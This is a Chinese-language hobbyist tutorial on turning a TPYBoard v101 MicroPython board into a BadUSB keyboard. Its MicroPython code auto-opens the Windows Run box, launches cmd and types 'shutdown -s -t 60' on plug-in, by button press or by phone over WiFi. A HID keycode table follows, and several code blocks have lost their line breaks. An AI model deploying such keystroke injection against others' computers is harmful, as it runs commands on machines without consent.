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本文以TPYBoardv101开发板为例讲解了利用micropython进行BadUSB的usb-HID设备测试的主要方法，使用mt7681模块进行了一个简单的实验，实现了手机摇控键盘输入的测试。
0x01引言
Micropython即运行在微控制器上的Python，只要你懂python3.x,就可以让你像使用arduino那样进行硬件开发。随着micropython的发布，已经有越来越多的人研究和利用其进行项目开发。本人也进行了一些研究，发现利用python进行操作确实很方便，很简单。目前支持micropython的开发板有很多，如pyboard、pyMagic、TPYBoard等。
Pyboard
Pymagic
TPYBoard
最近从网上搞了一块tpyboard V101（官网www.micropython.net.cn）进行了一下研究，特别是对其自身的USB-HID功能进行了测试，令人惊喜的是，你可以在仅懂python的情况下，进行HID攻击的姿态测试。具体TPYBoardv101的使用方法，请参见www.micropython.net.cn。
0x02 TPYBoardV101模拟键盘
该板子的使用方法入门，本文中略过，有兴趣的可以查看其网站http://www.micropython.net.cn/support_category.php?id=2。TPYBoardv101中，在进行键盘模拟时，每次发送了8个字符，只要搞清楚了这8个字符的含义，就能够进行HID模拟了。
键盘发送的8个字符：BYTE1 BYTE2 BYTE3 BYTE4 BYTE5 BYTE6 BYTE7 BYTE8。其中BYTE1用来实现功能键：
BYTE1 -- |--bit0: Left Control 按下时为1 |--bit1: Left Shift按下时为1 |--bit2: Left Alt按下时为1 |--bit3: Left GUI按下时为1 |--bit4: Right Control按下时为1 |--bit5: Right Shift按下时为1 |--bit6: Right Alt按下时为1 |--bit7: Right GUI按下时为1
BYTE3到BYTE8是具体按键（见0x06附件），如：
按下left shift + a ，则发送 0x02,0x00,0x04,0x00,0x00,0x00,0x00,0x00。
这里以按下left GUI+R来具体讲解实现过程。
第一步：修改boot.py文件，代码如下：
import machine
import pyb
#pyb.main('main.py') # main script to run after this one
#pyb.usb_mode('CDC+MSC') # act as a serial and a storage device
pyb.usb_mode('CDC+HID',hid=pyb.hid_keyboard)
第二步，修改main.py文件，代码如下：
# main.py -- put your code here!
hid=pyb.USB_HID()
def release_key_once():buf = bytearray(8) # report is 8 bytes longbuf[2] = 0hid.send(buf) # key releasedpyb.delay(10)
def press_key_once(key):buf = bytearray(8) # report is 8 bytes longbuf[2] = keyhid.send(buf) # key releasedpyb.delay(10)
def press_2key(key1,key2):buf = bytearray(8) # report is 8 bytes longbuf[0] = key1buf[2] = key2hid.send(buf) # key releasedpyb.delay(10)
def release_2key():buf = bytearray(8) # report is 8 bytes longbuf[0] = 0buf[2] = 0hid.send(buf) # key releasedpyb.delay(10)pyb.delay(1000) #开始加入1秒延时
press_2key(0x08,0x15)#具体键值见附录部分
release_2key() 第三步，安全退出TPYBoardv101，然后按一下RST键，可以看到一秒后“运行”窗口弹出。
0x03 简单的HID测试
测试打开“运行”窗口，输入cmd，然后弹出cmd后，输入shutdown -s -t 60 ,即60秒后自动关机。
Main.py的代码如下：
# main.py -- put your code here!
hid=pyb.USB_HID()
def release_key_once():buf = bytearray(8) # report is 8 bytes longbuf[2] = 0hid.send(buf) # key releasedpyb.delay(10)
def press_key_once(key):buf = bytearray(8) # report is 8 bytes longbuf[2] = keyhid.send(buf) # key releasedpyb.delay(10)
def press_2key(key1,key2):buf = bytearray(8) # report is 8 bytes longbuf[0] = key1buf[2] = key2hid.send(buf) # key releasedpyb.delay(10)
def release_2key():buf = bytearray(8) # report is 8 bytes longbuf[0] = 0buf[2] = 0hid.send(buf) # key releasedpyb.delay(10)pyb.delay(1000) #开始加入1秒延时
press_2key(0x08,0x15)#具体键值见附录部分
release_2key()
pyb.delay(100)
a=[0x06,0x10,0x07,0x28] #cmd+enter
for i in a:press_key_once(i)release_key_once()
pyb.delay(1000)
#shutdown -s -t 60 + enter
a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]
for i in a:press_key_once(i)release_key_once()
pyb.delay(1000)程序运行的效果是：当开发板插入电脑后，会首先弹出“运行”窗口，然后在该窗口里输入cmd，此时弹出cmd，并在其中输入shutdown -s -t 60和回车，然后电脑在1分钟后关机。
0x04 DIY一键关机
TPYBoardv101带着一个usr按键，可以利用这个按键来制作一键关机功能。当板子程序运行后，按下usr按键，产生中断，led3闪一下，进行关机操作。具体代码如下：
# main.py -- put your code here!
import pyb
FLAG=0 #flag标记，当为1时，关机def release_key_once():buf = bytearray(8) # report is 8 bytes longbuf[2] = 0hid.send(buf) # key releasedpyb.delay(10)
def press_key_once(key):buf = bytearray(8) # report is 8 bytes longbuf[2] = keyhid.send(buf) # key releasedpyb.delay(10)
def press_2key(key1,key2):buf = bytearray(8) # report is 8 bytes longbuf[0] = key1buf[2] = key2hid.send(buf) # key releasedpyb.delay(10)
def release_2key():buf = bytearray(8) # report is 8 bytes longbuf[0] = 0buf[2] = 0hid.send(buf) # key releasedpyb.delay(10)def shutdownpc():global FLAGpyb.LED(3).on()FLAG=1pyb.delay(300)pyb.LED(3).off()hid=pyb.USB_HID()
sw=pyb.Switch()
sw.callback(shutdownpc)
while(1): #led2闪烁表示板子已经正常工作pyb.LED(2).toggle()pyb.delay(300)print(FLAG)if FLAG==1:pyb.delay(1000) #开始加入1秒延时press_2key(0x08,0x15)#具体键值见附录部分release_2key()pyb.delay(100)a=[0x06,0x10,0x07,0x28] #cmd+enterfor i in a:press_key_once(i)release_key_once()pyb.delay(1000)#shutdown -s -t 60 + entera=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]for i in a:press_key_once(i)release_key_once()pyb.delay(1000)FLAG=0
视频演示：
0x05 用手机摇控键盘输入
这个实验中，我使用了MT7681wifi模块，该模块可以直接进行串口透传。将MT7681与TPYBoardv101进行连接，接线示意图，见下图。这里用的是TPYBoardv101的UART3，串口波特率115200。具体代码如下：
# main.py -- put your code here!
import pyb
FLAG=0def release_key_once():buf = bytearray(8) # report is 8 bytes longbuf[2] = 0hid.send(buf) # key releasedpyb.delay(10)
def press_key_once(key):buf = bytearray(8) # report is 8 bytes longbuf[2] = keyhid.send(buf) # key releasedpyb.delay(10)
def press_2key(key1,key2):buf = bytearray(8) # report is 8 bytes longbuf[0] = key1buf[2] = key2hid.send(buf) # key releasedpyb.delay(10)
def release_2key():buf = bytearray(8) # report is 8 bytes longbuf[0] = 0buf[2] = 0hid.send(buf) # key releasedpyb.delay(10)def shutdownpc():global FLAGpyb.LED(3).on()FLAG=1pyb.delay(1000)pyb.LED(3).off()
def getchars():global FLAGpyb.LED(3).on()FLAG=2pyb.delay(1000)pyb.LED(3).off()
hid=pyb.USB_HID()
sw=pyb.Switch()
sw.callback(shutdownpc)u1=pyb.UART(3,115200)
u1.init(115200, bits=8, parity=None, stop=1)
u1.write('Hello world!')
buf=''
#print(buf)
while(1): #led2闪烁表示板子已经正常工作buf=u1.readline()print(buf)if buf==b's':getchars()pyb.LED(2).toggle()pyb.delay(1300)print(FLAG)if FLAG==1:pyb.delay(1000) #开始加入1秒延时press_2key(0x08,0x15)#具体键值见附录部分release_2key()pyb.delay(100)a=[0x06,0x10,0x07,0x28] #cmd+enterfor i in a:press_key_once(i)release_key_once()pyb.delay(1000)#shutdown -s -t 60 + entera=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]for i in a:press_key_once(i)release_key_once()pyb.delay(1000)FLAG=0if FLAG==2:pyb.delay(1000) #开始加入1秒延时press_2key(0x08,0x15)#具体键值见附录部分release_2key()pyb.delay(100)a=[0x11,0x12,0x17,0x08,0x13,0x04,0x07,0x28] #notepad+enterfor i in a:press_key_once(i)release_key_once()pyb.delay(1000)FLAG=0
到这一步，可以看到，手机就像一个摇控键盘一样，可以直接来控制键盘了。只需要在程序中再丰富一下，就可以做个很不错的手机键盘出来。同时，因为可以通过串口返回数据，所以可以在电脑端写个上位机，这样就可以把电脑操作的返回值返回回来。具体的扩展功能大家自己想吧，就只说到这里了。
视频演示：
0x06附件
micropython的主要键值如下：
#define KEY_NONE 0x00
#define KEY_ERRORROLLOVER 0x01
#define KEY_POSTFAIL 0x02
#define KEY_ERRORUNDEFINED 0x03
#define KEY_A 0x04
#define KEY_B 0x05
#define KEY_C 0x06
#define KEY_D 0x07
#define KEY_E 0x08
#define KEY_F 0x09
#define KEY_G 0x0A
#define KEY_H 0x0B
#define KEY_I 0x0C
#define KEY_J 0x0D
#define KEY_K 0x0E
#define KEY_L 0x0F
#define KEY_M 0x10
#define KEY_N 0x11
#define KEY_O 0x12
#define KEY_P 0x13
#define KEY_Q 0x14
#define KEY_R 0x15
#define KEY_S 0x16
#define KEY_T 0x17
#define KEY_U 0x18
#define KEY_V 0x19
#define KEY_W 0x1A
#define KEY_X 0x1B
#define KEY_Y 0x1C
#define KEY_Z 0x1D
#define KEY_1_EXCLAMATION_MARK 0x1E
#define KEY_2_AT 0x1F
#define KEY_3_NUMBER_SIGN 0x20
#define KEY_4_DOLLAR 0x21
#define KEY_5_PERCENT 0x22
#define KEY_6_CARET 0x23
#define KEY_7_AMPERSAND 0x24
#define KEY_8_ASTERISK 0x25
#define KEY_9_OPARENTHESIS 0x26
#define KEY_0_CPARENTHESIS 0x27
#define KEY_ENTER 0x28
#define KEY_ESCAPE 0x29
#define KEY_BACKSPACE 0x2A
#define KEY_TAB 0x2B
#define KEY_SPACEBAR 0x2C
#define KEY_MINUS_UNDERSCORE 0x2D
#define KEY_EQUAL_PLUS 0x2E
#define KEY_OBRACKET_AND_OBRACE 0x2F
#define KEY_CBRACKET_AND_CBRACE 0x30
#define KEY_BACKSLASH_VERTICAL_BAR 0x31
#define KEY_NONUS_NUMBER_SIGN_TILDE 0x32
#define KEY_SEMICOLON_COLON 0x33
#define KEY_SINGLE_AND_DOUBLE_QUOTE 0x34
#define KEY_GRAVE ACCENT AND TILDE 0x35
#define KEY_COMMA_AND_LESS 0x36
#define KEY_DOT_GREATER 0x37
#define KEY_SLASH_QUESTION 0x38
#define KEY_CAPS LOCK 0x39
#define KEY_F1 0x3A
#define KEY_F2 0x3B
#define KEY_F3 0x3C
#define KEY_F4 0x3D
#define KEY_F5 0x3E
#define KEY_F6 0x3F
#define KEY_F7 0x40
#define KEY_F8 0x41
#define KEY_F9 0x42
#define KEY_F10 0x43
#define KEY_F11 0x44
#define KEY_F12 0x45
#define KEY_PRINTSCREEN 0x46
#define KEY_SCROLL LOCK 0x47
#define KEY_PAUSE 0x48
#define KEY_INSERT 0x49
#define KEY_HOME 0x4A
#define KEY_PAGEUP 0x4B
#define KEY_DELETE 0x4C
#define KEY_END1 0x4D
#define KEY_PAGEDOWN 0x4E
#define KEY_RIGHTARROW 0x4F
#define KEY_LEFTARROW 0x50
#define KEY_DOWNARROW 0x51
#define KEY_UPARROW 0x52
#define KEY_KEYPAD_NUM_LOCK_AND_CLEAR 0x53
#define KEY_KEYPAD_SLASH 0x54
#define KEY_KEYPAD_ASTERIKS 0x55
#define KEY_KEYPAD_MINUS 0x56
#define KEY_KEYPAD_PLUS 0x57
#define KEY_KEYPAD_ENTER 0x58
#define KEY_KEYPAD_1_END 0x59
#define KEY_KEYPAD_2_DOWN_ARROW 0x5A
#define KEY_KEYPAD_3_PAGEDN 0x5B
#define KEY_KEYPAD_4_LEFT_ARROW 0x5C
#define KEY_KEYPAD_5 0x5D
#define KEY_KEYPAD_6_RIGHT_ARROW 0x5E
#define KEY_KEYPAD_7_HOME 0x5F
#define KEY_KEYPAD_8_UP_ARROW 0x60
#define KEY_KEYPAD_9_PAGEUP 0x61
#define KEY_KEYPAD_0_INSERT 0x62
#define KEY_KEYPAD_DECIMAL_SEPARATOR_DELETE 0x63
#define KEY_NONUS_BACK_SLASH_VERTICAL_BAR 0x64
#define KEY_APPLICATION 0x65
#define KEY_POWER 0x66
#define KEY_KEYPAD_EQUAL 0x67
#define KEY_F13 0x68
#define KEY_F14 0x69
#define KEY_F15 0x6A
#define KEY_F16 0x6B
#define KEY_F17 0x6C
#define KEY_F18 0x6D
#define KEY_F19 0x6E
#define KEY_F20 0x6F
#define KEY_F21 0x70
#define KEY_F22 0x71
#define KEY_F23 0x72
#define KEY_F24 0x73
#define KEY_EXECUTE 0x74
#define KEY_HELP 0x75
#define KEY_MENU 0x76
#define KEY_SELECT 0x77
#define KEY_STOP 0x78
#define KEY_AGAIN 0x79
#define KEY_UNDO 0x7A
#define KEY_CUT 0x7B
#define KEY_COPY 0x7C
#define KEY_PASTE 0x7D
#define KEY_FIND 0x7E
#define KEY_MUTE 0x7F
#define KEY_VOLUME_UP 0x80
#define KEY_VOLUME_DOWN 0x81
#define KEY_LOCKING_CAPS_LOCK 0x82
#define KEY_LOCKING_NUM_LOCK 0x83
#define KEY_LOCKING_SCROLL_LOCK 0x84
#define KEY_KEYPAD_COMMA 0x85
#define KEY_KEYPAD_EQUAL_SIGN 0x86
#define KEY_INTERNATIONAL1 0x87
#define KEY_INTERNATIONAL2 0x88
#define KEY_INTERNATIONAL3 0x89
#define KEY_INTERNATIONAL4 0x8A
#define KEY_INTERNATIONAL5 0x8B
#define KEY_INTERNATIONAL6 0x8C
#define KEY_INTERNATIONAL7 0x8D
#define KEY_INTERNATIONAL8 0x8E
#define KEY_INTERNATIONAL9 0x8F
#define KEY_LANG1 0x90
#define KEY_LANG2 0x91
#define KEY_LANG3 0x92
#define KEY_LANG4 0x93
#define KEY_LANG5 0x94
#define KEY_LANG6 0x95
#define KEY_LANG7 0x96
#define KEY_LANG8 0x97
#define KEY_LANG9 0x98
#define KEY_ALTERNATE_ERASE 0x99
#define KEY_SYSREQ 0x9A
#define KEY_CANCEL 0x9B
#define KEY_CLEAR 0x9C
#define KEY_PRIOR 0x9D
#define KEY_RETURN 0x9E
#define KEY_SEPARATOR 0x9F
#define KEY_OUT 0xA0
#define KEY_OPER 0xA1
#define KEY_CLEAR_AGAIN 0xA2
#define KEY_CRSEL 0xA3
#define KEY_EXSEL 0xA4
#define KEY_KEYPAD_00 0xB0
#define KEY_KEYPAD_000 0xB1
#define KEY_THOUSANDS_SEPARATOR 0xB2
#define KEY_DECIMAL_SEPARATOR 0xB3
#define KEY_CURRENCY_UNIT 0xB4
#define KEY_CURRENCY_SUB_UNIT 0xB5
#define KEY_KEYPAD_OPARENTHESIS 0xB6
#define KEY_KEYPAD_CPARENTHESIS 0xB7
#define KEY_KEYPAD_OBRACE 0xB8
#define KEY_KEYPAD_CBRACE 0xB9
#define KEY_KEYPAD_TAB 0xBA
#define KEY_KEYPAD_BACKSPACE 0xBB
#define KEY_KEYPAD_A 0xBC
#define KEY_KEYPAD_B 0xBD
#define KEY_KEYPAD_C 0xBE
#define KEY_KEYPAD_D 0xBF
#define KEY_KEYPAD_E 0xC0
#define KEY_KEYPAD_F 0xC1
#define KEY_KEYPAD_XOR 0xC2
#define KEY_KEYPAD_CARET 0xC3
#define KEY_KEYPAD_PERCENT 0xC4
#define KEY_KEYPAD_LESS 0xC5
#define KEY_KEYPAD_GREATER 0xC6
#define KEY_KEYPAD_AMPERSAND 0xC7
#define KEY_KEYPAD_LOGICAL_AND 0xC8
#define KEY_KEYPAD_VERTICAL_BAR 0xC9
#define KEY_KEYPAD_LOGIACL_OR 0xCA
#define KEY_KEYPAD_COLON 0xCB
#define KEY_KEYPAD_NUMBER_SIGN 0xCC
#define KEY_KEYPAD_SPACE 0xCD
#define KEY_KEYPAD_AT 0xCE
#define KEY_KEYPAD_EXCLAMATION_MARK 0xCF
#define KEY_KEYPAD_MEMORY_STORE 0xD0
#define KEY_KEYPAD_MEMORY_RECALL 0xD1
#define KEY_KEYPAD_MEMORY_CLEAR 0xD2
#define KEY_KEYPAD_MEMORY_ADD 0xD3
#define KEY_KEYPAD_MEMORY_SUBTRACT 0xD4
#define KEY_KEYPAD_MEMORY_MULTIPLY 0xD5
#define KEY_KEYPAD_MEMORY_DIVIDE 0xD6
#define KEY_KEYPAD_PLUSMINUS 0xD7
#define KEY_KEYPAD_CLEAR 0xD8
#define KEY_KEYPAD_CLEAR_ENTRY 0xD9
#define KEY_KEYPAD_BINARY 0xDA
#define KEY_KEYPAD_OCTAL 0xDB
#define KEY_KEYPAD_DECIMAL 0xDC
#define KEY_KEYPAD_HEXADECIMAL 0xDD
#define KEY_LEFTCONTROL 0xE0
#define KEY_LEFTSHIFT 0xE1
#define KEY_LEFTALT 0xE2
#define KEY_LEFT_GUI 0xE3
#define KEY_RIGHTCONTROL 0xE4
#define KEY_RIGHTSHIFT 0xE5
#define KEY_RIGHTALT 0xE6
#define KEY_RIGHT_GUI 0xE7
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